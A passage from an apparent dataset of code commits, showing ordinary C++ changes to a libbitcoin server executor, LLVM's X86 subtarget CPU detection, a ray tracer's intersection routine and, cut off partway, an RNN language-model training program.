protocol, broadcast_transaction, node_);\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Command line options.\n\/\/ Emit directly to standard output (not the log).\n\nvoid executor::do_help()\n{\n    const auto options = metadata_.load_options();\n    printer help(options, application_name, BS_INFORMATION_MESSAGE);\n    help.initialize();\n    help.commandline(output_);\n}\n\nvoid executor::do_settings()\n{\n    const auto settings = metadata_.load_settings();\n    printer print(settings, application_name, BS_SETTINGS_MESSAGE);\n    print.initialize();\n    print.settings(output_);\n}\n\nvoid executor::do_version()\n{\n    output_ << format(BS_VERSION_MESSAGE) %\n        LIBBITCOIN_SERVER_VERSION %\n        LIBBITCOIN_NODE_VERSION %\n        LIBBITCOIN_BLOCKCHAIN_VERSION %\n        LIBBITCOIN_VERSION << std::endl;\n}\n\n\/\/ Emit to the logs.\nbool executor::do_initchain()\n{\n    initialize_output();\n\n    error_code ec;\n    const auto& directory = metadata_.configured.database.directory;\n\n    if (create_directories(directory, ec))\n    {\n        log::info(LOG_NODE) << format(BS_INITIALIZING_CHAIN) % directory;\n\n        \/\/ Unfortunately we are still limited to a choice of hardcoded chains.\n        const auto genesis = metadata_.configured.chain.use_testnet_rules ?\n            chain::block::genesis_testnet() : chain::block::genesis_mainnet();\n\n        return data_base::initialize(directory, genesis);\n    }\n\n    if (ec.value() == directory_exists)\n    {\n        log::error(LOG_NODE) << format(BS_INITCHAIN_EXISTS) % directory;\n        return false;\n    }\n\n    log::error(LOG_NODE) << format(BS_INITCHAIN_NEW) % directory % ec.message();\n    return false;\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Invoke an action based on command line option.\n\nbool executor::invoke()\n{\n    const auto& config = metadata_.configured;\n\n    if (config.help)\n    {\n        do_help();\n        return true;\n    }\n\n    if (config.settings)\n    {\n        do_settings();\n        return true;\n    }\n\n    if (config.version)\n    {\n        do_version();\n        return true;\n    }\n\n    if (config.initchain)\n    {\n        return do_initchain();\n    }\n\n    \/\/ There are no command line arguments, just run the node.\n    return run();\n}\n\n\/\/ ----------------------------------------------------------------------------\n\/\/ Run sequence.\n\nbool executor::run()\n{\n    initialize_output();\n    initialize_interrupt(no_interrupt);\n\n    log::info(LOG_NODE) << BS_NODE_STARTING;\n\n    \/\/ Ensure the blockchain directory is initialized (at least exists).\n    if (!verify())\n        return false;\n\n    \/\/ Now that the directory is verified we can create the node for it.\n    node_ = std::make_shared<server_node>(metadata_.configured);\n\n    \/\/ Start seeding the node, stop handlers are registered in start.\n    node_->start(\n        std::bind(&executor::handle_seeded,\n            shared_from_this(), _1));\n\n    log::info(LOG_NODE) << BS_NODE_STARTED;\n\n    \/\/ Block until the node is stopped or there is an interrupt.\n    return wait_on_stop();\n}\n\nvoid executor::handle_seeded(const code& ec)\n{\n    if (ec)\n    {\n        log::error(LOG_NODE) << format(BS_NODE_START_FAIL) % ec.message();\n        stopped_ = true;\n        return;\n    }\n\n    node_->run(\n        std::bind(&executor::handle_synchronized,\n            shared_from_this(), _1));\n\n    log::info(LOG_NODE) << BS_NODE_SEEDED;\n}\n\nvoid executor::handle_synchronized(const code& ec)\n{\n    if (ec)\n    {\n        log::info(LOG_NODE) << format(BS_NODE_START_FAIL) % ec.message();\n        stopped_ = true;\n        return;\n    }\n\n    log::info(LOG_NODE) << BS_NODE_SYNCHRONIZED;\n\n    notify_ = std::make_shared<notifier>(node_);\n    receive_ = std::make_shared<receiver>(node_);\n    publish_ = std::make_shared<publisher>(node_);\n\n    \/\/ Start server services on top of the node, these log internally.\n    if (!publish_->start() || !receive_->start() || !notify_->start())\n    {\n        stopped_ = true;\n        return;\n    }\n\n    const auto& settings = metadata_.configured.server;\n\n    if (settings.queries_enabled)\n        attach_query_api();\n\n    if (settings.subscription_limit > 0)\n        attach_subscription_api();\n}\n\n\/\/ Use missing directory as a sentinel indicating lack of initialization.\nbool executor::verify()\n{\n    error_code ec;\n    const auto& directory = metadata_.configured.database.directory;\n\n    if (exists(directory, ec))\n        return true;\n\n    if (ec.value() == directory_not_found)\n    {\n        log::error(LOG_NODE) << format(BS_UNINITIALIZED_CHAIN) % directory;\n        return false;\n    }\n\n    const auto message = ec.message();\n    log::error(LOG_NODE) << format(BS_INITCHAIN_TRY) % directory % message;\n    return false;\n}\n\nbool executor::wait_on_stop()\n{\n    std::promise<code> promise;\n\n    \/\/ Monitor stopped for completion.\n    monitor_stop(\n        std::bind(&executor::handle_stopped,\n            shared_from_this(), _1, std::ref(promise)));\n\n    \/\/ Block until the stop handler is invoked.\n    const auto ec = promise.get_future().get();\n\n    if (ec)\n    {\n        log::error(LOG_NODE) << format(BS_NODE_STOP_FAIL) % ec.message();\n        return false;\n    }\n\n    log::info(LOG_NODE) << BS_NODE_STOPPED;\n    return true;\n}\n\nvoid executor::handle_stopped(const code& ec, std::promise<code>& promise)\n{\n    promise.set_value(ec);\n}\n\nvoid executor::monitor_stop(p2p::result_handler handler)\n{\n    while (!stopped_ && !node_->stopped())\n        std::this_thread::sleep_for(stop_sensitivity);\n\n    log::info(LOG_NODE) << BS_NODE_UNMAPPING;\n    node_->stop(handler);\n    node_->close();\n\n    \/\/ This is the end of the run sequence.\n    node_ = nullptr;\n}\n\n} \/\/ namespace server\n} \/\/ namespace libbitcoin\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- X86Subtarget.cpp - X86 Subtarget Information ------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Nate Begeman and is distributed under the\n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the X86 specific subclass of TargetSubtarget.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"X86Subtarget.h\"\n#include \"llvm\/Module.h\"\n#include \"X86GenSubtarget.inc\"\nusing namespace llvm;\n\n#include \"llvm\/Support\/CommandLine.h\"\nnamespace {\n  cl::opt<bool> DisableSSE(\"disable-x86-sse\", cl::Hidden,\n                          cl::desc(\"Disable sse on X86\"));\n}\n\n\/\/\/ GetCpuIDAndInfo - Execute the specified cpuid and return the 4 values in the\n\/\/\/ specified arguments.  If we can't run cpuid on the host, return true.\nstatic bool GetCpuIDAndInfo(unsigned value, unsigned *rEAX, unsigned *rEBX,\n                            unsigned *rECX, unsigned *rEDX) {\n#if defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)\n#if defined(__GNUC__)\n  asm (\"pushl\\t%%ebx\\n\\t\"\n       \"cpuid\\n\\t\"\n       \"movl\\t%%ebx, %%esi\\n\\t\"\n       \"popl\\t%%ebx\"\n       : \"=a\" (*rEAX),\n         \"=S\" (*rEBX),\n         \"=c\" (*rECX),\n         \"=d\" (*rEDX)\n       :  \"a\" (value));\n  return false;\n#elif defined(_MSC_VER)\n  __asm {\n    mov   eax,value\n    cpuid\n    mov   esi,rEAX\n    mov   dword ptr [esi],eax\n    mov   esi,rEBX\n    mov   dword ptr [esi],ebx\n    mov   esi,rECX\n    mov   dword ptr [esi],ecx\n    mov   esi,rEDX\n    mov   dword ptr [esi],edx\n  }\n  return false;\n#endif\n#endif\n  return true;\n}\n\nstatic const char *GetCurrentX86CPU() {\n  unsigned EAX = 0, EBX = 0, ECX = 0, EDX = 0;\n  if (GetCpuIDAndInfo(0x1, &EAX, &EBX, &ECX, &EDX))\n    return \"generic\";\n  unsigned Family  = (EAX & (0xffffffff >> (32 - 4)) << 8) >> 8; \/\/ Bits 8 - 11\n  unsigned Model   = (EAX & (0xffffffff >> (32 - 4)) << 4) >> 4; \/\/ Bits 4 - 7\n  GetCpuIDAndInfo(0x80000001, &EAX, &EBX, &ECX, &EDX);\n  bool Em64T = EDX & (1 << 29);\n\n  union {\n    unsigned u[3];\n    char     c[12];\n  } text;\n\n  GetCpuIDAndInfo(0, &EAX, text.u+0, text.u+2, text.u+1);\n  if (memcmp(text.c, \"GenuineIntel\", 12) == 0) {\n    switch (Family) {\n      case 3:\n        return \"i386\";\n      case 4:\n        return \"i486\";\n      case 5:\n        switch (Model) {\n        case 4:  return \"pentium-mmx\";\n        default: return \"pentium\";\n        }\n      case 6:\n        switch (Model) {\n        case 1:  return \"pentiumpro\";\n        case 3:\n        case 5:\n        case 6:  return \"pentium2\";\n        case 7:\n        case 8:\n        case 10:\n        case 11: return \"pentium3\";\n        case 9:\n        case 13: return \"pentium-m\";\n        case 14: return \"yonah\";\n        default: return \"i686\";\n        }\n      case 15: {\n        switch (Model) {\n        case 3:  \n        case 4:\n          return (Em64T) ? \"nocona\" : \"prescott\";\n        default:\n          return (Em64T) ? \"x86-64\" : \"pentium4\";\n        }\n      }\n        \n    default:\n      return \"generic\";\n    }\n  } else if (memcmp(text.c, \"AuthenticAMD\", 12) == 0) {\n    \/\/ FIXME: this poorly matches the generated SubtargetFeatureKV table.  There\n    \/\/ appears to be no way to generate the wide variety of AMD-specific targets\n    \/\/ from the information returned from CPUID.\n    switch (Family) {\n      case 4:\n        return \"i486\";\n      case 5:\n        switch (Model) {\n        case 6:\n        case 7:  return \"k6\";\n        case 8:  return \"k6-2\";\n        case 9:\n        case 13: return \"k6-3\";\n        default: return \"pentium\";\n        }\n      case 6:\n        switch (Model) {\n        case 4:  return \"athlon-tbird\";\n        case 6:\n        case 7:\n        case 8:  return \"athlon-mp\";\n        case 10: return \"athlon-xp\";\n        default: return \"athlon\";\n        }\n      case 15:\n        switch (Model) {\n        case 5:  return \"athlon-fx\"; \/\/ also opteron\n        default: return \"athlon64\";\n        }\n\n    default:\n      return \"generic\";\n    }\n  } else {\n    return \"generic\";\n  }\n}\n\nX86Subtarget::X86Subtarget(const Module &M, const std::string &FS) {\n  stackAlignment = 8;\n  indirectExternAndWeakGlobals = false;\n  X86SSELevel = NoMMXSSE;\n  X863DNowLevel = NoThreeDNow;\n  Is64Bit = false;\n\n  \/\/ Determine default and user specified characteristics\n  std::string CPU = GetCurrentX86CPU();\n\n  \/\/ Parse features string.\n  ParseSubtargetFeatures(FS, CPU);\n\n  \/\/ Default to ELF unless otherwise specified.\n  TargetType = isELF;\n  \n  if (DisableSSE) {\n    X86SSELevel = NoMMXSSE;\n    X863DNowLevel = NoThreeDNow;\n  }\n      \n  \/\/ Set the boolean corresponding to the current target triple, or the default\n  \/\/ if one cannot be determined, to true.\n  const std::string& TT = M.getTargetTriple();\n  if (TT.length() > 5) {\n    if (TT.find(\"cygwin\") != std::string::npos ||\n        TT.find(\"mingw\")  != std::string::npos)\n      TargetType = isCygwin;\n    else if (TT.find(\"darwin\") != std::string::npos)\n      TargetType = isDarwin;\n    else if (TT.find(\"win32\") != std::string::npos)\n      TargetType = isWindows;\n  } else if (TT.empty()) {\n#if defined(__CYGWIN__) || defined(__MINGW32__)\n    TargetType = isCygwin;\n#elif defined(__APPLE__)\n    TargetType = isDarwin;\n#elif defined(_WIN32)\n    TargetType = isWindows;\n#endif\n  }\n\n  if (TargetType == isDarwin) {\n    stackAlignment = 16;\n    indirectExternAndWeakGlobals = true;\n  }\n}\n<commit_msg>Remove -disable-x86-sse<commit_after>\/\/===-- X86Subtarget.cpp - X86 Subtarget Information ------------*- C++ -*-===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file was developed by Nate Begeman and is distributed under the\n\/\/ University of Illinois Open Source License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/ This file implements the X86 specific subclass of TargetSubtarget.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"X86Subtarget.h\"\n#include \"llvm\/Module.h\"\n#include \"X86GenSubtarget.inc\"\nusing namespace llvm;\n\n\/\/\/ GetCpuIDAndInfo - Execute the specified cpuid and return the 4 values in the\n\/\/\/ specified arguments.  If we can't run cpuid on the host, return true.\nstatic bool GetCpuIDAndInfo(unsigned value, unsigned *rEAX, unsigned *rEBX,\n                            unsigned *rECX, unsigned *rEDX) {\n#if defined(i386) || defined(__i386__) || defined(__x86__) || defined(_M_IX86)\n#if defined(__GNUC__)\n  asm (\"pushl\\t%%ebx\\n\\t\"\n       \"cpuid\\n\\t\"\n       \"movl\\t%%ebx, %%esi\\n\\t\"\n       \"popl\\t%%ebx\"\n       : \"=a\" (*rEAX),\n         \"=S\" (*rEBX),\n         \"=c\" (*rECX),\n         \"=d\" (*rEDX)\n       :  \"a\" (value));\n  return false;\n#elif defined(_MSC_VER)\n  __asm {\n    mov   eax,value\n    cpuid\n    mov   esi,rEAX\n    mov   dword ptr [esi],eax\n    mov   esi,rEBX\n    mov   dword ptr [esi],ebx\n    mov   esi,rECX\n    mov   dword ptr [esi],ecx\n    mov   esi,rEDX\n    mov   dword ptr [esi],edx\n  }\n  return false;\n#endif\n#endif\n  return true;\n}\n\nstatic const char *GetCurrentX86CPU() {\n  unsigned EAX = 0, EBX = 0, ECX = 0, EDX = 0;\n  if (GetCpuIDAndInfo(0x1, &EAX, &EBX, &ECX, &EDX))\n    return \"generic\";\n  unsigned Family  = (EAX & (0xffffffff >> (32 - 4)) << 8) >> 8; \/\/ Bits 8 - 11\n  unsigned Model   = (EAX & (0xffffffff >> (32 - 4)) << 4) >> 4; \/\/ Bits 4 - 7\n  GetCpuIDAndInfo(0x80000001, &EAX, &EBX, &ECX, &EDX);\n  bool Em64T = EDX & (1 << 29);\n\n  union {\n    unsigned u[3];\n    char     c[12];\n  } text;\n\n  GetCpuIDAndInfo(0, &EAX, text.u+0, text.u+2, text.u+1);\n  if (memcmp(text.c, \"GenuineIntel\", 12) == 0) {\n    switch (Family) {\n      case 3:\n        return \"i386\";\n      case 4:\n        return \"i486\";\n      case 5:\n        switch (Model) {\n        case 4:  return \"pentium-mmx\";\n        default: return \"pentium\";\n        }\n      case 6:\n        switch (Model) {\n        case 1:  return \"pentiumpro\";\n        case 3:\n        case 5:\n        case 6:  return \"pentium2\";\n        case 7:\n        case 8:\n        case 10:\n        case 11: return \"pentium3\";\n        case 9:\n        case 13: return \"pentium-m\";\n        case 14: return \"yonah\";\n        default: return \"i686\";\n        }\n      case 15: {\n        switch (Model) {\n        case 3:  \n        case 4:\n          return (Em64T) ? \"nocona\" : \"prescott\";\n        default:\n          return (Em64T) ? \"x86-64\" : \"pentium4\";\n        }\n      }\n        \n    default:\n      return \"generic\";\n    }\n  } else if (memcmp(text.c, \"AuthenticAMD\", 12) == 0) {\n    \/\/ FIXME: this poorly matches the generated SubtargetFeatureKV table.  There\n    \/\/ appears to be no way to generate the wide variety of AMD-specific targets\n    \/\/ from the information returned from CPUID.\n    switch (Family) {\n      case 4:\n        return \"i486\";\n      case 5:\n        switch (Model) {\n        case 6:\n        case 7:  return \"k6\";\n        case 8:  return \"k6-2\";\n        case 9:\n        case 13: return \"k6-3\";\n        default: return \"pentium\";\n        }\n      case 6:\n        switch (Model) {\n        case 4:  return \"athlon-tbird\";\n        case 6:\n        case 7:\n        case 8:  return \"athlon-mp\";\n        case 10: return \"athlon-xp\";\n        default: return \"athlon\";\n        }\n      case 15:\n        switch (Model) {\n        case 5:  return \"athlon-fx\"; \/\/ also opteron\n        default: return \"athlon64\";\n        }\n\n    default:\n      return \"generic\";\n    }\n  } else {\n    return \"generic\";\n  }\n}\n\nX86Subtarget::X86Subtarget(const Module &M, const std::string &FS) {\n  stackAlignment = 8;\n  indirectExternAndWeakGlobals = false;\n  X86SSELevel = NoMMXSSE;\n  X863DNowLevel = NoThreeDNow;\n  Is64Bit = false;\n\n  \/\/ Determine default and user specified characteristics\n  std::string CPU = GetCurrentX86CPU();\n\n  \/\/ Parse features string.\n  ParseSubtargetFeatures(FS, CPU);\n\n  \/\/ Default to ELF unless otherwise specified.\n  TargetType = isELF;\n  \n  X86SSELevel = NoMMXSSE;\n  X863DNowLevel = NoThreeDNow;\n      \n  \/\/ Set the boolean corresponding to the current target triple, or the default\n  \/\/ if one cannot be determined, to true.\n  const std::string& TT = M.getTargetTriple();\n  if (TT.length() > 5) {\n    if (TT.find(\"cygwin\") != std::string::npos ||\n        TT.find(\"mingw\")  != std::string::npos)\n      TargetType = isCygwin;\n    else if (TT.find(\"darwin\") != std::string::npos)\n      TargetType = isDarwin;\n    else if (TT.find(\"win32\") != std::string::npos)\n      TargetType = isWindows;\n  } else if (TT.empty()) {\n#if defined(__CYGWIN__) || defined(__MINGW32__)\n    TargetType = isCygwin;\n#elif defined(__APPLE__)\n    TargetType = isDarwin;\n#elif defined(_WIN32)\n    TargetType = isWindows;\n#endif\n  }\n\n  if (TargetType == isDarwin) {\n    stackAlignment = 16;\n    indirectExternAndWeakGlobals = true;\n  }\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"..\/Intersection.h\"\n#include \"..\/Ray.h\"\n#include \"..\/Util.h\"\n#include \"Model.h\"\n\nnamespace SPTracer\n{\n\tModel::Model()\n\t{\n\t}\n\n\tModel::~Model()\n\t{\n\t}\n\n\tbool Model::Intersect(const Ray& ray, Intersection& intersection) const\n\t{\n\t\tbool found = false;\n\t\tIntersection current;\n\t\t\/\/ bool foundEmissive = false;\t\t\/\/ used for more complicated condition\n\n\t\tfor (const auto& o : objects_)\n\t\t{\n\t\t\tbool success = o->Intersect(ray, current);\n\t\t\t\n\t\t\t\/\/ no intersection\n\t\t\tif (!success)\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\t\t\t\/\/ NOTE: More complicated condition for badly positioned light sources.\n\t\t\t\/\/ This is more complicated condition. It can be used for models where light sourcse\n\t\t\t\/\/ have some surfaces behind them. Normally, there should be some distance between a \n\t\t\t\/\/ surface and light source, in which case a simplified condition can be used\n\t\t\t\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\n\t\t\t\/\/\/\/ if some intersection was already found\n\t\t\t\/\/if (found)\n\t\t\t\/\/{\n\t\t\t\/\/\t\/\/ difference between distances\n\t\t\t\/\/\tfloat diff = std::abs(current.distance - intersection.distance);\n\n\t\t\t\/\/\t\/\/ distance to new intersection is different from distance to old intersection\n\t\t\t\/\/\tif (diff > Util::Eps)\n\t\t\t\/\/\t{\n\t\t\t\/\/\t\t\/\/ new intersection is not closer that the previous one\n\t\t\t\/\/\t\tif (current.distance > intersection.distance)\n\t\t\t\/\/\t\t{\n\t\t\t\/\/\t\t\tcontinue;\n\t\t\t\/\/\t\t}\n\t\t\t\/\/\t}\n\t\t\t\/\/\telse\n\t\t\t\/\/\t{\n\t\t\t\/\/\t\t\/\/ same distance to intersection\n\t\t\t\/\/\t\tif (foundEmissive)\n\t\t\t\/\/\t\t{\n\t\t\t\/\/\t\t\t\/\/ previous intersection was with emissive material, so it has higher priority\n\t\t\t\/\/\t\t\tcontinue;\n\t\t\t\/\/\t\t}\n\t\t\t\/\/\t}\n\t\t\t\/\/}\n\n\t\t\t\/\/ new intersection is not closer\n\t\t\tif (found && (current.distance > intersection.distance))\n\t\t\t{\n\t\t\t\tcontinue;\n\t\t\t}\n\n\t\t\tfound = true;\n\t\t\tintersection = current;\n\t\t\tintersection.object = o;\n\t\t\t\/\/ foundEmissive = o->IsEmissive();\t\t\/\/ used for more complicated condition\n\t\t}\n\n\t\treturn found;\n\t}\n\n}\n<commit_msg>Code cleanup<commit_after>#include <limits>\n#include \"..\/Intersection.h\"\n#include \"..\/Ray.h\"\n#include \"..\/Util.h\"\n#include \"Model.h\"\n\nnamespace SPTracer\n{\n\tModel::Model()\n\t{\n\t}\n\n\tModel::~Model()\n\t{\n\t}\n\n\tbool Model::Intersect(const Ray& ray, Intersection& intersection) const\n\t{\n\t\t\/\/ set initial intersection distance to max possible,\n\t\t\/\/ so that any intersection will be closer than that\n\t\tintersection.distance = std::numeric_limits<float>::infinity();\n\n\t\tIntersection newIntersection;\n\n\t\tfor (const auto& o : objects_)\n\t\t{\n\t\t\t\/\/ find new intersection\n\t\t\tbool success = o->Intersect(ray, newIntersection);\n\t\t\t\n\t\t\t\/\/ check if new intersection is closer\n\t\t\tif (success && (newIntersection.distance < intersection.distance))\n\t\t\t{\n\t\t\t\tintersection = newIntersection;\n\t\t\t\tintersection.object = o;\n\t\t\t}\n\t\t}\n\n\t\treturn intersection.distance < std::numeric_limits<float>::infinity();\n\t}\n\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"cnn\/nodes.h\"\n#include \"cnn\/cnn.h\"\n#include \"cnn\/training.h\"\n#include \"cnn\/timing.h\"\n#include \"cnn\/rnn.h\"\n#include \"cnn\/gru.h\"\n#include \"cnn\/lstm.h\"\n#include \"cnn\/dglstm.h\"\n#include \"cnn\/dict.h\"\n#include \"cnn\/expr.h\"\n#include \"cnn\/cnn-helper.h\"\n#include \"cnn\/expr-xtra.h\"\n#include <iostream>\n#include <fstream>\n#include <sstream>\n\n#include <boost\/archive\/text_iarchive.hpp>\n#include <boost\/archive\/text_oarchive.hpp>\n#include <boost\/archive\/text_iarchive.hpp>\n#include <boost\/archive\/text_oarchive.hpp>\n#include <boost\/program_options\/parsers.hpp>\n#include <boost\/program_options\/variables_map.hpp>\n\nusing namespace std;\nusing namespace cnn;\n\nunsigned int LAYERS = 2;\nunsigned int INPUT_DIM = 8;  \/\/256\nunsigned int HIDDEN_DIM = 24;  \/\/ 1024\nunsigned int VOCAB_SIZE = 0;\n\nint verbose = 0; \n\ncnn::Dict d;\nint kSOS;\nint kEOS;\n\ntemplate <class Builder>\nstruct RNNLanguageModel {\n  LookupParameters* p_c;\n  Parameters* p_R;\n  Parameters* p_bias;\n  Builder builder;\n  explicit RNNLanguageModel(Model& model) : builder(LAYERS, INPUT_DIM, HIDDEN_DIM, &model) {\n    p_c = model.add_lookup_parameters(VOCAB_SIZE, {INPUT_DIM}); \n\tp_R = model.add_parameters({ VOCAB_SIZE, HIDDEN_DIM });\n\tp_bias = model.add_parameters({ VOCAB_SIZE });\n  }\n\n  \/\/ return Expression of total loss\n  Expression BuildLMGraph(const vector<int>& sent, ComputationGraph& cg) {\n    const unsigned slen = sent.size() - 1;\n    builder.new_graph(cg);  \/\/ reset RNN builder for new graph\n    builder.start_new_sequence();\n    Expression i_R = parameter(cg, p_R); \/\/ hidden -> word rep parameter\n    Expression i_bias = parameter(cg, p_bias);  \/\/ word bias\n\tif (verbose)\n\t\tdisplay_value(i_R, cg, \"IR at \");\n\tif (verbose)\n\t\tdisplay_value(i_bias, cg, \"ibias at \");\n\tvector<Expression> errs;\n    for (unsigned t = 0; t < slen; ++t) {\n      Expression i_x_t = lookup(cg, p_c, sent[t]);\n      \/\/ y_t = RNN(x_t)\n      Expression i_y_t = builder.add_input(i_x_t);\n      Expression i_r_t =  i_bias + i_R * i_y_t;\n\t  if (verbose)\n\t\t  display_value(i_r_t, cg, \"response at \" + t);\n      \/\/ we can easily look at intermidiate values\n\/\/      std::vector<cnn::real> r_t = as_vector(i_r_t.value());\n  \/\/    for (cnn::real f : r_t) cout << f << \" \"; cout << endl;\n    \/\/  cout << \"[\" << as_scalar(pick(i_r_t, sent[t+1]).value()) << \"]\" << endl;\n\n      \/\/ LogSoftmax followed by PickElement can be written in one step\n      \/\/ using PickNegLogSoftmax\n#if 0\n      Expression i_ydist = logsoftmax(i_r_t);\n      errs.push_back(pick(i_ydist, sent[t+1]));\n#if 0\n      Expression i_ydist = softmax(i_r_t);\n      i_ydist = log(i_ydist)\n      errs.push_back(pick(i_ydist, sent[t+1]));\n#endif\n#else\n      Expression i_err = pickneglogsoftmax(i_r_t, sent[t+1]);\n      errs.push_back(i_err);\n#endif\n    }\n    Expression i_nerr = sum(errs);\n#if 0\n    return -i_nerr;\n#else\n    return i_nerr;\n#endif\n  }\n\n  \/\/ return Expression for total loss\n  void RandomSample(int max_len = 150) {\n    cerr << endl;\n    ComputationGraph cg;\n    builder.new_graph(cg);  \/\/ reset RNN builder for new graph\n    builder.start_new_sequence();\n    \n    Expression i_R = parameter(cg, p_R);\n    Expression i_bias = parameter(cg, p_bias);\n    vector<Expression> errs;\n    int len = 0;\n    int cur = kSOS;\n    while(len < max_len && cur != kEOS) {\n      ++len;\n      Expression i_x_t = lookup(cg, p_c, cur);\n      \/\/ y_t = RNN(x_t)\n      Expression i_y_t = builder.add_input(i_x_t);\n      Expression i_r_t = i_bias + i_R * i_y_t;\n      \n      Expression ydist = softmax(i_r_t);\n      \n      unsigned w = 0;\n      while (w == 0 || (int)w == kSOS) {\n        auto dist = as_vector(cg.incremental_forward());\n        cnn::real p = rand01();\n        for (; w < dist.size(); ++w) {\n          p -= dist[w];\n          if (p < 0.0) { break; }\n        }\n        if (w == dist.size()) w = kEOS;\n      }\n      cerr << (len == 1 ? \"\" : \" \") << d.Convert(w);\n      cur = w;\n    }\n    cerr << endl;\n  }\n};\n\ntemplate <class LM_t>\nvoid train(Model &model, LM_t &lm,\n    const vector<vector<int>>& training,\n    const vector<vector<int>>& dev,\n    Trainer *sgd, const string& fname,\n    bool randomSample)\n{\n    cnn::real best = 9e+99;\n    unsigned report_every_i = 50;\n    unsigned dev_every_i_reports = 500;\n    unsigned si = training.size();\n    vector<unsigned> order(training.size());\n    for (unsigned i = 0; i < order.size(); ++i) order[i] = i;\n    bool first = true;\n    int report = 0;\n    unsigned lines = 0;\n    unsigned total_epoch = 40;\n\n    ofstream out(fname, ofstream::out);\n    boost::archive::text_oarchive oa(out);\n    oa << model;\n    out.close();\n\n    size_t i_epoch = 0;\n    while (sgd->epoch < total_epoch) {\n        Timer iteration(\"completed in\");\n        cnn::real loss = 0;\n        unsigned chars = 0;\n        for (unsigned i = 0; i < report_every_i; ++i) {\n            if (si == training.size()) {\n                si = 0;\n                if (first) { first = false; }\n                else { sgd->update_epoch(); }\n                cerr << \"**SHUFFLE\\n\";\n                shuffle(order.begin(), order.end(), *rndeng);\n            }\n\n            \/\/ build graph for this instance\n            ComputationGraph cg;\n            auto& sent = training[order[si]];\n            chars += sent.size() - 1;\n            ++si;\n            lm.BuildLMGraph(sent, cg);\n            loss += as_scalar(cg.forward());\n            cg.backward();\n            sgd->update();\n            ++lines;\n        }\n        sgd->status();\n        cerr << \" report = \" << report << \" E = \" << (loss \/ chars) << \" ppl=\" << exp(loss \/ chars) << ' ';\n\n        if (randomSample)\n            lm.RandomSample();\n\n        \/\/ show score on dev data?\n        report++;\n        if (report % dev_every_i_reports == 0) {\n            cnn::real dloss = 0;\n            int dchars = 0;\n            for (auto& sent : dev) {\n                ComputationGraph cg;\n                lm.BuildLMGraph(sent, cg);\n                dloss += as_scalar(cg.forward());\n                dchars += sent.size() - 1;\n            }\n            if (dloss < best) {\n                best = dloss;\n                ofstream out(fname, ofstream::out);\n                boost::archive::text_oarchive oa(out);\n                oa << model;\n                out.close();\n            }\n            else{\n                sgd->eta *= 0.5;\n            }\n            cerr << \"\\n***TEST E = \" << (dloss \/ dchars) << \" ppl=\" << exp(dloss \/ dchars) << ' ';\n        }\n\n        i_epoch++;\n    }\n}\n\ntemplate <class LM_t>\nvoid testcorpus(Model &model, LM_t &lm,\n    const vector<vector<int>>& dev)\n{\n    unsigned lines = 0;\n    cnn::real dloss = 0;\n    int dchars = 0;\n    for (auto& sent : dev) {\n        ComputationGraph cg;\n        lm.BuildLMGraph(sent, cg);\n        dloss += as_scalar(cg.forward());\n        dchars += sent.size() - 1;\n    }\n\n    cerr << \"\\n***DEV [epoch=\" << (lines \/ (cnn::real)dev.size()) << \"] E = \" << (dloss \/ dchars) << \" ppl=\" << exp(dloss \/ dchars) << ' ';\n}\n\nvoid initialise(Model &model, const string &filename)\n{\n    cerr << \"Initialising model parameters from file: \" << filename << endl;\n    ifstream in(filename, ifstream::in);\n    boost::archive::text_iarchive ia(in);\n    ia >> model;\n}\n\nint main(int argc, char** argv) {\n  cnn::Initialize(argc, argv);\n\n  \/\/ command line processing\n  using namespace boost::program_options;\n  variables_map vm;\n  options_description opts(\"Allowed options\");\n  opts.add_options()\n      (\"help\", \"print help message\")\n      (\"seed,s\", value<int>()->default_value(217), \"random seed number\")\n      (\"train,t\", value<string>(), \"file containing training sentences\")\n      (\"devel,d\", value<string>(), \"file containing development sentences.\")\n      (\"test,T\", value<string>(), \"file containing testing source sentences\")\n      (\"initialise,i\", value<string>(), \"load initial parameters from file\")\n      (\"parameters,p\", value<string>(), \"save best parameters to this file\")\n      (\"layers,l\", value<int>()->default_value(LAYERS), \"use <num> layers for RNN components\")\n      (\"hidden,h\", value<int>()->default_value(HIDDEN_DIM), \"use <num> dimensions for recurrent hidden states\")\n      (\"gru\", \"use Gated Recurrent Unit (GRU) for recurrent structure; default RNN\")\n      (\"lstm\", \"use Long Short Term Memory (GRU) for recurrent structure; default RNN\")\n      (\"dglstm\", \"use depth-gated LSTM for recurrent structure; default RNN\")\n      (\"verbose,v\", \"be extremely chatty\")\n      (\"generate,g\", value<bool>()->default_value(false), \"generate random samples\")\n      ;\n  store(parse_command_line(argc, argv, opts), vm);\n\n  string flavour;\n  if (vm.count(\"gru\"))\tflavour = \"gru\";\n  else if (vm.count(\"lstm\"))\tflavour = \"lstm\";\n  else if (vm.count(\"rnnem\"))\tflavour = \"rnnem\";\n  else if (vm.count(\"dglstm\")) flavour = \"dglstm\";\n  else if 